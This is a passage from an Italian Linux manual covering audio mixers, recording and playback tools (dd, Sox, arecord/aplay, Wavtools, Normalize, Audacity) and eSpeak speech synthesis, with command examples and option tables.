Figura 35.52. Alsamixergui durante il funzionamento.

35.5.3 Gnome-volume-control

Un mixer generico per la grafica, che può essere utile, è Gnome-volume-control, che fa parte del pacchetto Gnome-media. [13] Il suo utilizzo è molto semplice e di solito non si usano opzioni nella riga di comando:

```
gnome-volume-control [opzioni]
```

Figura 35.53. Gnome-volume-control durante il funzionamento.

35.5.4 Esecuzione e registrazione di brani campionati

Per verificare il funzionamento del sistema di registrazione e di riproduzione di brani campionati, si possono usare direttamente i dispositivi '`/dev/audio`', '`/dev/dsp`' (eventualmente anche quelli specifici di ALSA: '`/dev/snd/pcmC0D0c`' per l'acquisizione e '`/dev/snd/pcmC0D0p`' per l'esecuzione). Entrambi permettono di leggere il risultato di un campionamento e di riprodurre gli stessi brani se questi vengono scritti sugli stessi dispositivi.

Il primo dei due file di dispositivo, '`/dev/audio`', fa riferimento al formato standard della Sun, semplificato al massimo. I file audio con questo formato hanno normalmente l'estensione '`.au`'. Il secondo, '`/dev/dsp`', rappresenta un formato audio grezzo.

Per «registrare» da questi dispositivi, basta leggerli e inviare ciò che si ottiene verso un file normale. Lo stesso file può essere diretto al dispositivo attraverso cui è stato generato, ottenendone la riproduzione. Tuttavia, per registrare occorre selezionare un canale dalla scheda audio, specificando che per questo è abilitata la registrazione. In generale si può trattare del canale microfonico, di quello del CD e della linea di ingresso esterna. In pratica, utilizzando Aumix, si tratta di avviare l'eseguibile '**`aumix`**' con l'opzione '**`-m`**', '**`-c`**' o '**`-l`**', rispettivamente, con l'argomento '**`R`**'. In queste condizioni, 8 Kibyte corrispondono a un secondo di riproduzione audio, di conseguenza, si può utilizzare uno dei due comandi seguenti per campionare e memorizzare per un minuto in un file:

$ **`dd if=/dev/audio of=registratore.au bs=8k count=60`** [*Invio*]

$ **`dd if=/dev/dsp of=registratore bs=8k count=60`** [*Invio*]

Per riprodurre questi file, si devono utilizzare gli stessi dispositivi da cui sono stati generati. Rispettivamente, valgono i due comandi seguenti.

$ **`cat registratore.au > /dev/audio`** [*Invio*]

$ **`cat registratore > /dev/dsp`** [*Invio*]

Quando il sistema di gestione dell'audio avviene attraverso ALSA, i file di dispositivo '`/dev/audio`' e '`/dev/dsp`' continuano a essere disponibili, tuttavia si potrebbero usare anche altri file di dispositivo. A titolo informativo viene annotato come potrebbe essere usato Sox, ammesso che sia stato compilato con il supporto al formato audio di ALSA. Per registrare:

$ **`sox -t alsa -r 44100 -w -u /dev/snd/pcmC0D0c registratore.wav`** [*Invio*]

Per riprodurre:

$ **`sox mio_file.wav -t alsa /dev/snd/pcmC0D0p`** [*Invio*]

Riquadro 35.54. La registrazione e i livelli sonori.

Quando si vogliono usare strumenti per la registrazione sonora, occorre intervenire correttamente nel mixer: si deve regolare il volume della sorgente sonora da registrare; si deve attivare la registrazione da quella sorgente sonora; se è presente, occorre regolare anche il livello del guadagno in ingresso.
Per esempio, volendo registrare dalla linea di ingresso esterna (*line-in*), con una certa scheda audio, attraverso Aumix, occorre verificare in particolare i cursori e le voci che appaiono evidenziati in questo esempio:

```
aumix P++++++++++++++++++O+++++++ Vol            ++++++++++++O+++++++++++++
       ++++++++++++++++++O+++++++ Pcm            ++++++++++++O+++++++++++++
Quit  R++++++++++++++++++O+++++++ Line           ++++++++++++O+++++++++++++
Load  PO+++++++++++++++++++++++++ Mic
Save  PO+++++++++++++++++++++++++ CD             ++++++++++++O+++++++++++++
Keys   +++++++O++++++++++++++++++ IGain          ++++++++++++O+++++++++++++
Mute  PO+++++++++++++++++++++++++ Line1          ++++++++++++O+++++++++++++
Only   O+++++++++++++++++++++++++ Digital1
Undo  PO+++++++++++++++++++++++++ PhoneIn
      PO+++++++++++++++++++++++++ PhoneOut
      PO+++++++++++++++++++++++++ Video
       0         Level        100                L        Balance         R
```

35.5.5 Wavtools

Wavtools[14] è un pacchetto per l'esecuzione e la registrazione di file audio in formato WAV-RIFF. Utilizza in particolare il dispositivo '`/dev/dsp`'. Si compone di quattro eseguibili: '**`wavr`**' e '**`gwavr`**' per la registrazione; '**`wavp`**' e '**`gwavp`**' per l'esecuzione.

`wavr` [*opzioni*]

`gwavr` [*opzioni*]

`wavp` *file_wav*

`gwavp` *file_wav_gsm*

In pratica, non c'è bisogno di opzioni per eseguire un file attraverso '**`wavp`**' o '**`gwavp`**'. La lettera «g» iniziale di '**`gwavr`**' e '**`gwavp`**', indica che si tratta della versione predisposta per un formato WAV compresso utilizzando l'algoritmo GSM.

Tabella 35.56. Alcune opzioni di '**`wavr`**' e '**`gwavr`**'.

Opzione	Descrizione
`-f` *file_wav*	Specifica il file da registrare.
`-r` *frequenza_campionamento*	Specifica la frequenza di campionamento. Alcuni valori comuni sono: 44100, 22050, 11025 e 8000.
`-d` *dimensione_campione*	Definisce la dimensione del campione in bit. Di solito si usano i valori 8 o 16.
`-c 1|2`	Definisce il numero dei canali: uno per una registrazione monofonica, due per una registrazione stereofonica.
`-l` *n_secondi*	Programma la durata della registrazione.

35.5.6 Sound-recorder

Sound-recorder [15] è un pacchetto per l'esecuzione e la registrazione di file audio non compressi (WAV-RIFF e altri). Utilizza il dispositivo '`/dev/dsp`'. Si compone di alcuni eseguibili: '**`sound-recorder`**' e '**`cdsound-recorder`**' per la registrazione; '**`play-sample`**' per la riproduzione.

`sound-recorder` [*opzioni*] *file_audio*

```
cdsound-recorder [opzioni] suffisso_file_audio
```

```
play-sample [opzioni] file_audio
```

In pratica, non c'è bisogno di opzioni per eseguire un file attraverso '**`play-sample`**', a meno di voler richiedere un comportamento diverso da quello predefinito per il tipo di file che si va a eseguire.

Sia '**`sound-recorder`**', sia '**`cdsound-recorder`**' si limitano a registrare ciò che proviene dalla scheda audio, purché sia abilitata la registrazione sulla linea prevista. Questo serve soprattutto a comprendere che '**`cdsound-recorder`**' non estrae le tracce da un CD audio, ma si limita a eseguirle, per registrare un file audio corrispondente.

Tabella 35.57. Alcune opzioni usate dagli eseguibili che compongono Sound-recorder. Si osservi che non tutte le opzioni sono valide per tutti gli eseguibili.

Opzione	Descrizione
`-f` ***formato***	Consente di specificare il formato del file da registrare o da eseguire. In mancanza di indicazioni, viene registrato un file WAV-RIFF, corrispondente alla sigla '**`wav`**', da usare con questa opzione.
`-c` ***n***	Definisce la quantità di canali da registrare o da eseguire. Il valore uno indica una registrazione o un'esecuzione monofonica, mentre il valore due richiede una registrazione o un'esecuzione stereofonica.
`-s` ***frequenza***	Permette di specificare la frequenza di campionamento per la registrazione o per l'esecuzione. I valori comuni sono: 8000, 11025, 12000, 16000, 22050, 32000, 44100, 48000.
`-S` ***mm*:*ss***	In fase di registrazione, consente di indicare la durata che questa deve avere.
`-q`	Richiede un funzionamento «silenzioso» (*quiet*).
`-t` ***n*** `-p` ***n*** `-l` ***elenco***	Queste opzioni riguardano soltanto '**`cdsound-recorder`**' e servono a specificare la prima traccia del CD (opzione '**`-t`**'), l'ultima traccia (opzione '**`-p`**'), oppure un elenco di tracce (opzione '**`-l`**').

Segue la descrizione di alcuni esempi.

- `$` **`sound-recorder -f wav -c 2 -s 44100 -S 07:00 musica.wav`** [*Invio*]

  Registra per sette minuti in un file WAV-RIFF stereofonico, con campionamento a 44100 Hz. Il file che si ottiene è '`musica.wav`' nella directory corrente.

- `$` **`cdsound-recorder -f wav -c 2 -s 44100 -l 1,3,5-7 musica.wav`** [*Invio*]

Avvia la registrazione di una serie di file in un file WAV-RIFF stereofonico, con campionamento a 44100 Hz, a partire dalle tracce uno, tre, cinque, sei e sette di un CD audio. I file che si ottengono hanno il suffisso '`musica.wav`', iniziando con il numero di traccia e un trattino basso. Per esempio, in questo caso il file della prima traccia è '`01_musica.wav`'.

- `$` **`play-sample musica.wav`** [*Invio*]

  Esegue il file '`musica.wav`'.

35.5.7 Aplay e Arecord

Per la registrazione e la riproduzione di file attraverso il sistema ALSA, si possono usare anche i programmi Arecord e Aplay, che fanno parte del pacchetto Alsa-utils.[16] Si tratta di programmi da usare a riga di comando:

`arecord` [***opzioni***] ***file_da_registrare***

`aplay` [***opzioni***] ***file_da_eseguire***...

I due programmi condividono delle opzioni, con le quali si specificano le caratteristiche dei file da registrare o da eseguire.

Tabella 35.58. Alcune opzioni.

Opzione	Descrizione
`-d` ***n*** `--duration=`***n***	Specifica la durata della registrazione o dell'esecuzione. Il numero che si indica come argomento dell'opzione rappresenta una quantità in secondi (simbolo: «s»).
`-t` ***tipo*** `--file-type=`***tipo***	Permette di specificare il tipo di file da registrare o da eseguire. Si possono usare le sigle: '**`voc`**', '**`wav`**', '**`raw`**', '**`au`**'.
`-c 1`|`2` `--channels=1`|`2`	Permette di specificare la quantità di canali (uno per monofonia, due per stereofonia).
`-f` ***formato*** `--format=`***formato***	Permette di specificare il formato dei dati. Generalmente si indica il formato '**`S16_LE`**', che indica 16 bit con segno, *little endian*.
`-r` ***n*** `--rate=`***n***	Specifica la frequenza di campionamento espressa in hertz (simbolo: «Hz»).
`-f cd`	È l'abbreviazione di: '**`-f S16_LE -c 2 -r 44100`**'.
`-f dat`	È l'abbreviazione di: '**`-f S16_LE -c 2 -r 48000`**'.

Segue la descrizione di alcuni esempi.

- $ **arecord -d 10 -t wav -f S16_LE -t 2 -r 44100 prova.wav** [*Invio*]

  Registra per dieci secondi in un file WAV-RIFF stereofonico, con campionamento a 44 100 Hz. Il file che si ottiene è 'prova.wav' nella directory corrente.

- $ **arecord -d 10 -t wav -f cd prova.wav** [*Invio*]

  Esattamente come nell'esempio precedente, sfruttando l'abbreviazione dell'opzione '**-f cd**'.

- $ **aplay prova.wav** [*Invio*]

  Esegue il file 'prova.wav', senza bisogno di specificarne le caratteristiche, trattandosi di un formato con WAV-RIFF, che pertanto è provvisto di un'intestazione con le informazioni necessarie a individuarlo correttamente.

- $ **arecord -d 10 -t raw -f S16_LE -t 2 -r 44100 prova.raw** [*Invio*]

  Registra per dieci secondi in un file stereofonico, senza intestazione (16 bit con segno *little endian*), con campionamento a 44 100 Hz. Il file che si ottiene è 'prova.raw' nella directory corrente.

- $ **arecord -d 10 -t raw -f cd prova.raw** [*Invio*]

  Esattamente come nell'esempio precedente, sfruttando l'abbreviazione dell'opzione '**-f cd**'.

- $ **aplay -t raw -f S16_LE -t 2 -r 44100 prova.raw** [*Invio*]

  Esegue il file 'prova.raw', che richiede l'indicazione delle sue caratteristiche, trattandosi di un formato senza intestazione.

- $ **aplay -t raw -f cd prova.raw** [*Invio*]

  Esattamente come nell'esempio precedente, sfruttando l'abbreviazione dell'opzione '**-f cd**'.

35.5.8 Sox

Sox[17] è attualmente lo strumento più importante di conversione di file audio. In linea di massima, Sox è in grado di convertire da un formato a un altro, anche se i passaggi da una frequenza di campionamento a un'altra non danno risultati ottimi; inoltre riesce a introdurre degli effetti interessanti.

Meritano attenzione alcuni effetti che Sox permette di introdurre attraverso la rielaborazione digitale del segnale: è possibile estrarre solo una porzione delle frequenze audio; si possono introdurre effetti di eco e di vibrato; è possibile invertire il brano.

Una particolarità di Sox è quella di distinguere i formati audio in base all'estensione dei nomi dei file (in quasi tutti i casi). La tabella 35.59 riporta l'elenco di alcuni di questi; per un elenco completo e una descrizione più dettagliata si può consultare la pagina di manuale *sox(1)*.

Tabella 35.59. Alcuni dei formati audio gestiti da Sox.

Estensione/tipo	Descrizione
`.8svx`	Amiga 8SVX.
`.au`	AU della Sun Microsystems.
`.dat`	Audio espresso in formato testo.
`.smp`	TurtleBeach MediaVision.
`.voc`	SoundBlaster VOC.
`.wav`	MS-Windows WAV-RIFF.
`ossdsp`	Formato del dispositivo '`/dev/dsp`'.

35.5.8.1 Avvio dell'eseguibile

L'eseguibile '**`sox`**' è quello che svolge tutto il lavoro dell'applicativo Sox. Purtroppo la sintassi è un po' confusa e lo schema che si vede qui è già una semplificazione di quella completa:

`sox` [*opzioni_generali*] [*opzioni_di_formato*] *file_in_ingresso* [*opzioni_di_formato*] ↩
↪*file_in_uscita* [*effetti*]

`sox` [*opzioni_generali*] [*opzioni_di_formato*] *file_in_ingresso* `-e` [*effetti*]

In generale è necessaria l'indicazione di un file in ingresso e di uno in uscita. Per stabilire il formato di un file si fa riferimento all'estensione utilizzata nel nome; eventualmente si possono realizzare anche dei condotti indicando un trattino orizzontale ('**-**') al posto del nome del file corrispondente (in ingresso o in uscita), però in questo caso occorre indicare un'opzione apposita per specificare il formato a cui si fa riferimento.

Le opzioni di formato si applicano al file indicato subito dopo; in pratica, quelle che appaiono prima del file in ingresso, si riferiscono a questo, mentre quelle indicate dopo il file in ingresso, riguardano il file in uscita.

Gli effetti che Sox è in grado di generare si indicano attraverso delle parole chiave collocate alla fine della riga di comando, dopo l'indicazione del file in uscita.

Tabella 35.60. Alcune opzioni generali.

Opzione	Descrizione
`-V`	Emette una serie di informazioni sulle fasi del processo di elaborazione. Serve per avere un rapporto chiaro delle trasformazioni che sta applicando Sox.
`-v` ***volume***	Permette di cambiare il volume del segnale. Il valore '**`1.0`**' rappresenta il livello iniziale: valori inferiori diminuiscono il volume, mentre valori superiori lo aumentano.

Tabella 35.61. Alcune opzioni di formato.

Opzione	Descrizione
`-t` ***tipo_di_file***	Permette di specificare il formato del file successivo (in ingresso o in uscita), attraverso una stringa che rappresenta l'estensione normale di questo ('**`.au`**', '**`.wav`**',... come si vede nella tabella 35.59).
`-r` ***frequenza_di_campionamento***	Permette di specificare la frequenza di campionamento del file successivo (in ingresso o in uscita), attraverso l'indicazione di un numero che rappresenta la frequenza in hertz (simbolo: «Hz»). In generale, è più probabile l'utilizzo di questa opzione in riferimento a un file in uscita.
`-c` ***n_canali***	Permette di specificare il numero di canali audio del file successivo (in ingresso o in uscita). Come si può intendere, uno rappresenta un file monofonico, due stereofonico e quattro quadrifonico.

`-b`
`-w`
`-l`
`-d`
	Definisce la dimensione dei campioni. Si tratta rispettivamente di: 8 bit (byte); 16 bit (*word*); 32 bit (*long word*); 64 bit (*double long word*).

`-s`
`-u`
`-U`
`-A`
`-a`
`-i`
`-g`
`-f`
	Definisce la codifica dei campioni. Si tratta rispettivamente di: *signed linear*; *unsigned linear*; mu-law; A-law; ADPCM; IMA-ADPCM; GSM; *floating-point*.

`-x`	Inverte i byte.
`-e`	Non produce alcun risultato, pertanto il file in uscita non viene specificato.

Tabella 35.62. Alcune opzioni che rappresentano un effetto.

Opzione	Descrizione
`band` ***frequenza_centrale ampiezza***	Applica un filtro passa-banda. Gli argomenti di questa opzione sono valori numerici che si riferiscono a una frequenza in hertz (simbolo: «Hz»).
`highp` ***frequenza_filtro***	Applica un filtro passa-alto a partire dalla frequenza indicata come argomento. In pratica, le frequenze inferiori risultano molto attenuate.
`echo` ***guadagno_in guadagno_out*** ↩ ↪***ritardo volume***	Inserisce un effetto eco in cui il guadagno è espresso in rapporto all'unità (il 100 % è pari a uno), il ritardo è espresso in millisecondi (simbolo: «ms») e il volume dell'eco è riferito anch'esso all'unità, per cui si utilizzano normalmente dei valori inferiori a uno per indicare un'attenuazione relativa.
`vibro` ***velocità profondità***	Inserisce un effetto vibrato. La velocità indica la frequenza della vibrazione nel volume del segnale, mentre la profondità indica il volume dell'oscillazione di questo.
`reverse`	Inverte il corso del brano. Potrebbe servire in particolare per scoprire dei messaggi nascosti che siano stati introdotti ad arte nel segnale audio.
`resample`	Si può usare solo quando la frequenza di campionamento in uscita è diversa da quella in ingresso e serve a rifare il campionamento, simulando un ingresso analogico.

Segue la descrizione di alcuni esempi; tuttavia, tra questi non vengono mostrati casi in cui si cambia il formato dei file audio, perché si tratta di un'operazione delicata e per questo è meglio leggere la documentazione originale. In particolare, non conviene tentare di ridurre la frequenza di campionamento, perché di solito il risultato è pessimo.

- `$` **`sox prova.wav prova-vibrato.wav vibro 5 0.7`** [*Invio*]

  Legge il file '`prova.wav`' (di tipo WAV, data l'estensione) e lo trasforma nel file '`prova-vibrato.wav`', mantenendo le stesse caratteristiche riguardo al campionamento, ma aggiungendo un effetto vibrato.

- `$` **`sox prova.wav prova-eco.wav echo 1 0.7 300 0.3`** [*Invio*]

  Legge il file '`prova.wav`' (di tipo WAV, data l'estensione) e lo trasforma nel file '`prova-eco.wav`', mantenendo le stesse caratteristiche riguardo al campionamento, ma aggiungendo un effetto eco. Per la precisione, il guadagno in ingresso rimane inalterato; il guadagno in uscita del suono principale viene attenuato al 70 %; l'effetto eco ha un ritardo di 300 ms e ha un volume pari al 30 % rispetto al suono normale.

- `$` **`sox prova.wav prova-1000.wav band 1000 500`** [*Invio*]

  Legge il file '`prova.wav`' (di tipo WAV, data l'estensione) e lo trasforma nel file '`prova-1000.wav`', mantenendo le stesse caratteristiche riguardo al campionamento, ma filtrando il segnale in modo da selezionare in particolare le frequenze da 750 Hz a 1250 Hz.

- `$` **`sox prova.wav -t .wav - band 1000 500 > prova-1000.wav`** [*Invio*]

  Come nell'esempio precedente, ma in questo caso il file in uscita viene ottenuto attraverso lo standard output, per cui occorre specificare il tipo con l'opzione '**`-t`**'.

- `$ sox prova.wav -r 48000 -c 2 prova-48.wav resample` [*Invio*]

  Legge il file '`prova.wav`' e lo trasforma nel file '`prova-49.wav`', ricampionandolo a 48 000 Hz e garantendo un risultato a due canali audio (anche se l'origine fosse monofonica).

- `$ sox prova.wav -t ossdsp -w -s /dev/dsp` [*Invio*]

  Esegue il file '`prova.wav`', attraverso il file di dispositivo '`/dev/dsp`'. Si può osservare che viene specificato il formato dei campioni inviati al file di dispositivo, con le opzioni '**`-w`**' (16 bit) e '**`-s`**' (*signed linear*), mentre non è necessario specificare la quantità di canali e la frequenza di campionamento che rimangono inalterati rispetto al file originale.

- `$ sox -t ossdsp -w -s -c 2 -r 44100 /dev/dsp -t .wav prova.wav` [*Invio*]

  Registra nel file '`prova.wav`' ciò che ottiene dal file di dispositivo '`/dev/dsp`', in modo stereofonico, campionando a 44 100 Hz. Si può osservare che viene specificato il formato dei campioni ricevuti dal file di dispositivo, con le opzioni '**`-w`**' (16 bit) e '**`-s`**' (*signed linear*).

35.5.8.2 Riduzione del rumore

Sox è in grado di ridurre il rumore di fondo di una registrazione attraverso l'uso di due «effetti» particolari. Per prima cosa occorre estrarre dalla registrazione una porzione di silenzio, che contiene il rumore di fondo; successivamente si fa leggere a Sox il file contenente il rumore, per generare un file che ne riassume le caratteristiche; al termine, si fa rielaborare il file audio completo, fornendo le informazioni raccolte sulle caratteristiche del rumore, per generare un file filtrato. Per capire il meccanismo, conviene fare un esempio, che viene mostrato nei passi successivi.

1. Il file '`reg.wav`' contiene del rumore di fondo; attraverso un programma apposito, si estrae una piccola porzione di silenzio, che viene salvata nel file '`rumore.wav`'.

2. Si fa leggere a Sox il file '`rumore.wav`', per generare il «profilo di rumore», nel file '`rumore.prof`':

   `$ sox rumore.wav -t .wav /dev/null noiseprof rumore.prof` [*Invio*]

   Il contenuto del file '`rumore.prof`' può essere simile a quello seguente:

   ```
   Channel 0: -1.274796, 0.377659, 2.028794, … -12.432062, -11.966588, nan
   Channel 1: -1.274796, 0.377659, 2.028794, … -12.432062, -11.966588, nan
   ```

3. Si rielabora il file '`reg.wav`' con Sox, associando le informazioni sul rumore, contenute nel file '`rumore.prof`':

   `$ sox reg.wav reg-2.wav noisered rumore.prof 0.1` [*Invio*]

   Si ottiene il file '`reg-2.wav`' filtrato.

Come si vede dagli esempi, sono stati usati due effetti: '**`noiseprof`**' e '**`noisered`**'.

Tabella 35.64. Effetti per la riduzione del rumore.

Opzione	Descrizione
`noiseprof` ***file***	Crea il file indicato contenente il profilo del rumore, raccolto da un brano contenente soltanto del silenzio.
`noisered` ***file*** ***n***	Filtra il rumore, secondo le indicazioni del file contenente il profilo, con un livello pari a ***n***. Il valore numerico finale va inteso in forma percentuale (dove l'unità rappresenta il 100 %); tuttavia, in generale conviene indicare solo frazioni dell'unità, per non distorcere eccessivamente il suono.

35.5.8.3 Regolazione del volume

Con Sox è possibile ottenere delle informazioni statistiche dettagliate su un file sonoro, attraverso la sua lettura completa. Per questo si usa l'effetto '**`stat`**' che riguarda solo il file in ingresso, mentre quello in uscita può essere omesso se si utilizza l'opzione '**`-e`**'.

Tabella 35.65. Effetti per l'analisi statistica.

Opzione	Descrizione
`stat`	Genera una statistica sul file sonoro in ingresso.
`stat -v`	Si limita a indicare il livello di aggiustamento massimo del volume.

Segue la descrizione di alcuni esempi.

- `$` **`sox prova.wav -t .wav /dev/null stat 2> prova.stat`** [*Invio*]

  Legge il file '`prova.wav`' e passa il suo contenuto, senza trasformazioni al file di dispositivo '`/dev/null`'. Durante la lettura, genera il file '`prova.stat`' con le statistiche accumulate.

- `$` **`sox prova.wav -e stat 2> prova.stat`** [*Invio*]

  Come nell'esempio precedente, senza bisogno di usare il file di dispositivo '`/dev/null`' per ignorare il file in uscita.

- `$` **`sox prova.wav -e stat -v 2> volume.max`** [*Invio*]

  Estrae soltanto il valore del volume e lo inserisce nel file '`volume.max`'.

Il file '`prova.stat`' degli esempi mostrati, potrebbe avere l'aspetto seguente:

```
Samples read:           14300928
Length (seconds):     162.142041
Scaled by:          2147483647.0
Maximum amplitude:      0.877747
Minimum amplitude:     -0.949310
Midline amplitude:     -0.035782
Mean    norm:           0.083269
Mean    amplitude:      0.000014
RMS     amplitude:      0.115862
Maximum delta:          0.692749
Minimum delta:          0.000000
Mean    delta:          0.055097
RMS     delta:          0.075444
Rough   frequency:          4570
Volume adjustment:         1.053
```

Invece, il risultato ottenuto con l'effetto '**`stat -v`**' si limita al valore del campo '**`Volume adjustment:`**':

```
1.053
```

Il valore ottenuto in questo modo, soprattutto se si usa l'effetto '**`stat -v`**', può essere applicato per regolare in modo uniforme il volume di diversi file, come nello script seguente:

```
#!/bin/sh
for a in "$@"
do
    sox $a -e stat -v 2> /tmp/vol
    VOL=`cat /tmp/vol`
    sox $a -v $VOL $a.v.wav
done
```

In pratica, i file indicati come argomenti nella riga di comando dello script, vengono scanditi uno per uno, in modo da generarne la statistica del volume, così da generare poi, per ognuno, un nuovo file con l'estensione aggiuntiva '`.v.wav`' e con il volume aggiustato.

35.5.8.4 Script play e rec

Sox è accompagnato generalmente da due script: '**`play`**' e '**`rec`**'. Il loro scopo è quello di facilitare l'ascolto e la registrazione, facendo affidamento sulle capacità di Sox di convertire al volo il formato di questi file.

`play` ***file***

`rec` ***file***

Quando non si ha la possibilità di utilizzare un programma più comodo, questa potrebbe essere l'unica risorsa per riuscire a gestire con semplicità le funzionalità audio.

A volte, questi script sono errati, probabilmente per un piccolo errore di sintassi nella scrittura di una struttura di selezione ('**case**'). Per semplificare le cose, viene mostrato il contenuto essenziale di questi due script. L'esecuzione di un brano registrato in un file avviene in pratica con un comando come quello seguente:

```
sox file_da_eseguire -t ossdsp -w -s /dev/dsp
```

Naturalmente, prima del file potrebbero essere aggiunte altre opzioni, se lo si ritiene opportuno; nello stesso modo si potrebbero aggiungere delle opzioni riferite a effetti da inserire nell'audio, indicandole alla fine del comando. In modo analogo, si può registrare un file, ma in tal caso è obbligatorio specificare il tipo di campionamento, se non si vuole ottenere soltanto un file monofonico di bassa qualità; il modello seguente permette di ottenere un campionamento alla qualità di un CD:

```
sox -t ossdsp -w -s -c 2 -r 44100 /dev/dsp file_da_registrare
```

Valgono le stesse considerazioni fatte per il caso dell'esecuzione di un brano, in particolare, le opzioni riferite al file che si vuole ottenere vanno messe subito prima di questo file, cioè dopo l'indicazione del dispositivo '`/dev/dsp`'.

35.5.9 Normalize

Normalize[18] è un programma ottimo per uniformare il livello audio nei file WAV-RIFF, che dispone anche di uno script per facilitare l'operazione con file in formato MP3 e Ogg Vorbis.

```
normalize [opzioni] file_wav...
```

Il programma eseguibile '**normalize**' è quello che svolge il lavoro, sui file WAV-RIFF. Si usa come si vede nel modello sintattico, dove dopo le opzioni si mette l'elenco dei file da modificare: i file in questione vengono sovrascritti con la modifica del volume audio.

Il programma è ricco di opzioni, ma due in particolare sono importanti, con le quali si specifica una modalità particolare nel calcolo del volume da applicare. In condizioni normali, il volume dei file viene regolato in modo indipendente dagli altri; a questa regola si può eccepire con due modalità che si escludono a vicenda: con la modalità «mix» tutti i file indicati come argomento vengono regolati al volume medio che hanno già nel loro insieme; con la modalità «batch» il volume viene regolato mantenendo invariato il rapporto relativo tra i vari file, come se si trattasse di un file soltanto.

Tabella 35.69. Alcune opzioni.

Opzione	Descrizione
`-m` `--mix`	Attiva la modalità «mix».
`-b` `--batch`	Attiva la modalità «batch».

Segue la descrizione di alcuni esempi.

- `$` **`normalize file_1.wav file_2.wav file_3.wav`** [*Invio*]

  Regola a un livello ottimale il volume dei file '`file_1.wav`', '`file_2.wav`' e '`file_3.wav`'.

- `$` **`normalize --mix file_1.wav file_2.wav file_3.wav`** [*Invio*]

  Regola a un livello medio comune il volume dei file '`file_1.wav`', '`file_2.wav`' e '`file_3.wav`'.

- `$` **`normalize --batch file_1.wav file_2.wav file_3.wav`** [*Invio*]

  Regola a un livello ottimale il volume dei file '`file_1.wav`', '`file_2.wav`' e '`file_3.wav`', mantenendo il rapporto relativo tra di loro.

Si veda la pagina di manuale *normalize(1)* per le altre opzioni disponibili; inoltre si veda *normalize-mp3(1)* o *normalize-ogg(1)* per intervenire direttamente su file audio compressi.

35.5.10 Xwave

Xwave[19] è un applicativo relativamente completo per la registrazione, la modifica e l'esecuzione di brani musicali registrati in vari formati, in particolare in WAV-RIFF. Si tratta di un applicativo per X. Nella figura 35.70 si vede il pannello principale dopo aver caricato un file WAV.

Figura 35.70. Pannello principale di Xwave.

Il programma eseguibile che svolge tutto il lavoro è '**`xwave`**'. Non richiede opzioni e il suo funzionamento è intuitivo. È interessante la possibilità offerta di modificare un brano, per esempio usando il taglia-incolla (basta selezionare una porzione della traccia con il mouse), oppure introducendo degli effetti.

Può darsi che la registrazione non sia perfetta, ma questo è un particolare trascurabile rispetto alle altre possibilità di questo applicativo.

35.5.11 Audacity

Audacity[20] è un applicativo molto sofisticato per la registrazione di un progetto musicale, composto anche da più tracce, in grado di esportare il risultato in formati audio comuni. Qui, Audacity viene considerato semplicemente come un ottimo sistema di registrazione, trascurando la realizzazione di un progetto musicale vero e proprio.

```
audacity
```

Generalmente, l'eseguibile '**`audacity`**' si utilizza senza argomenti, come si vede nel modello sintattico semplificato.

Figura 35.71. Audacity avviato senza argomenti.

Se si seleziona il bottone della registrazione, Audacity inizia a registrare prelevando il segnale dalla linea attiva per questo, con una campionatura prestabilita. Si può osservare che nella figura risulta attiva la linea di ingresso esterno (*line-in*); inoltre è accessibile il controllo del guadagno di ingresso.

Figura 35.72. Controlli nella parte superiore della finestra di Audacity.

Il modo in cui vengono raccolti i campioni in fase di registrazione si stabilisce attraverso la configurazione, che si raggiunge con la voce `Preferences` del menù `File`.

Figura 35.73. File di dispositivo utilizzati e numero di canali.

Figura 35.74. Configurazione della qualità della registrazione.

Figura 35.75. Configurazione della qualità dei formati per l'esportazione delle registrazioni.

Una volta appurato che l'ingresso è quello giusto, che il livello sonoro è appropriato, che il tipo di campionamento è conforme alla qualità che si vuole ottenere, si può selezionare il bottone di registrazione.

Figura 35.76. Registrazione di una traccia stereofonica.

Se si ferma la registrazione, la traccia si conclude; se poi si avvia nuovamente la registrazione, viene aperta un'altra traccia. Per salvare la registrazione in un formato comune, la si deve «esportare», per esempio con la voce `Export as WAV` del menù `File`.

35.6 Sintesi vocale

La sintesi vocale si ottiene a partire da campioni fonetici, utilizzati attraverso un programma che sia in grado di interpretare un testo e di tradurlo nella sequenza di fonemi adatti a una certa lingua.

35.6.1 eSpeak

eSpeak[21] è un programma molto semplice per la lettura automatica di un testo per varie lingue. Si utilizza senza bisogno di grafica, oppure viene attivato attraverso programmi frontali. A ogni modo, il programma principale può ricevere il testo da sintetizzare in tre modi alternativi:

espeak [***opzioni***] [-v ***linguaggio***] ***testo***

espeak [***opzioni***] [-v ***linguaggio***] < ***testo***

```
espeak [opzioni] [-v linguaggio] -f file_testo
```

Come si vede, si può fornire il testo come ultimo argomento, oppure attraverso lo standard input, oppure con l'opzione '**-f**', all'interno di un file. Inoltre, un'altra opzione fondamentale è '**-v**', con la quale si specifica il linguaggio secondo cui va sintetizzato il testo.

La codifica del testo atteso da eSpeak UTF-8, oppure, una codifica a 8 bit appropriata al linguaggio scelto.

Segue la descrizione di alcuni esempi elementari:

- `$` **`espeak -v it "Ciao, come stai?"`** [*Invio*]

  Legge e sintetizza, attraverso l'adattatore audio, il testo «Ciao, come stai?»

- `$` **`echo "Ciao, come stai?" | espeak -v it`** [*Invio*]

  Fa esattamente la stessa cosa dell'esempio precedente.

- `$` **`espeak -v it -f testo.txt`** [*Invio*]

  Legge e sintetizza quanto contenuto nel file '`testo.txt`'.

35.6.1.1 Scelta del linguaggio

Non sono disponibili le regole di sintesi per tutte le lingue esistenti e non è detto che la sigla usata per la selezione debba corrispondere agli standard; inoltre nel caso della lingua inglese si può anche scegliere tra intonazioni differenti. Pertanto, è bene sapere tra cosa si può scegliere:

`$` **`espeak --voices`** [*Invio*]

```
Pty Language Age/Gender VoiceName      File       Other Langs
 5  af              M  afrikaans       af
 5  cy                 welsh-test      cy
 5  de              M  german          de
 5  el              M  greek_test      el
 1  en-uk           M  english         en/en
 1  en-uk           F  female          en/en-f
 2  en-uk           M  en/en7          en/en7
 3  en-uk         55M  en/en4          en/en4
 4  en-uk         70M  old             en/en8
 5  en-uk           M  blocked         en/en6
 5  en-uk              default         default
 5  en-uk           M  echo            en/en1
 5  en-uk              fuzzy           en/en2
 1  en-uk-north     F  en/en-n-f       en/en-n-f
 1  en-uk-north     M  lancashire      en/en-n     (en-uk 3)
 5  en-uk-rp        M  english_rp      en/en-rp    (en-uk 4)
 4  en-uk-wmids     M  english_wmids   en/en-wm
 5  eo              M  esperanto       eo
```

```
5  es              M  spanish_test    es
5  fi                 finnish-test    fi
5  it              M  italian         it
5  pl              M  polish_test     pl
5  ru              M  russian_test    ru
```

